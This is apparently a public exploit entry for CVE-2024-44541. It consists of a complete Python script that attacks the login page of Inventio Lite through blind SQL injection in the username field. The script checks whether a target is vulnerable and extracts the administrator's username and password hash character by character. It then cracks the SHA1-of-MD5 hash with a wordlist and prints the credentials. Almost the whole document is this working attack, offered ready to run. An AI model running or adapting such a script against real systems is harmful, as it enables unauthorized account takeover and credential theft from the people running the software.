Inventio Lite 4 - SQL Injection

# Exploit Title: Inventio Lite 4 - SQL Injection 
Error Based SQLi in "username" parameter on "/?action=processlogin."
# Date: 08/21/2024
# Exploit Author: pointedsec
# Vendor Homepage: http://evilnapsis.com
# Software Link: https://github.com/evilnapsis/inventio-lite
# Version: < 4 
# Tested on: Linux, Windows
# CVE : CVE-2024-44541
# This scripts exploit this vulnerability, extracting the hashes from database and tries to decrypt it.
# The passwords are hashed like this: $pass = sha1(md5($_POST['password']));

import requests
import signal
from pwn import *

BASE_URL = "http://192.168.1.51/inventio-lite/"
PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"
LOGIN_ACTION = BASE_URL + "?action=processlogin"

# Handling Ctrl + C
def def_handler(x,y):
    log.failure("Quitting...")
    exit(1)

signal.signal(signal.SIGINT, def_handler)

def is_vulnerable():
    log.info("Checking if target is vulnerable")
    payload = {
        "username": "\") \"",
        "password": "\") \""
    }
    r = requests.post(LOGIN_ACTION, data=payload)
    if (r.status_code != 200 or "Uncaught mysqli_sql_exception" in r.text):
        return True
    else:
        return False

def get_administrator_hash(username):
    prog_hash = log.progress("Extracting Admin Password Hash")
    replace_payload = "\") or username LIKE '<USER>' or email LIKE '<USER>' and password LIKE '<STR>%' and is_admin=1 LIMIT 1-- -".replace("<USER>", username)
    characters = "abcdefghijklmnopqrstuvwxyz0123456789"  # SHA(MD5(PASSWORD)) so there are no symbols and no uppercases
    admin_hash = ""

    while True:
        found_char = False
        for char in characters:
            payload = {
                "username": replace_payload.replace("<STR>", admin_hash + char),
                "password": "blablablbalbablalba123@"
            }
            try:
                r = requests.post(LOGIN_ACTION, data=payload)
                r.raise_for_status()
            except requests.RequestException as e:
                log.error(f"Request failed: {e}")
                continue
            
            if "<script>window.location='index.php?view=home';</script>" in r.text:
                admin_hash += char
                prog_hash.status("-> %s" % admin_hash)
                found_char = True
                break
        
        if not found_char:
            break
    
    prog_hash.status("Final Admin Hash: %s" % admin_hash)
    return admin_hash

def get_administrator_username():
    prog_username = log.progress("Extracting Username")
    replace_payload = "\") or username like '<STR>%' or email like '<STR>%' and is_admin=1 LIMIT 1-- -"
    characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@."
    username = ""
    
    while True:
        found_char = False
        for char in characters:
            payload = {
                "username": replace_payload.replace("<STR>", username + char),
                "password": "blablablablbalbla123@"
            }
            r = requests.post(LOGIN_ACTION, data=payload)
            
            if "<script>window.location='index.php?view=home';</script>" in r.text:
                username += char
                prog_username.status("-> %s" % username)
                found_char = True
                break
        
        if not found_char:
            break
    
    return username

def decrypt_password(admin_hash):
    # Encryption is SHA1(MD5(PWD))
    with open(PWD_DIC_PATH) as password_file:
        for password in password_file:
            password = password.strip()
                
            md5_hash = hashlib.md5(password.encode()).hexdigest()
            sha1_hash = hashlib.sha1(md5_hash.encode()).hexdigest()
                
            if sha1_hash == admin_hash:
                return password
            
        log.error("Password not found in the dictionary.")
        return None

if __name__ == "__main__":
    # Check if target is vulnerable
    if not is_vulnerable():
        log.failure("Target not Vulnerable...")
        exit(1)
    log.success("Target Vulnerable!")
    log.info("Dumping Administrator username...")
    admin_username = get_administrator_username()    
    admin_hash = get_administrator_hash(admin_username)
    pwd = decrypt_password(admin_hash)
    log.success(f"Password Decrypted! -> {admin_username}:{pwd}")
    log.info("Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations")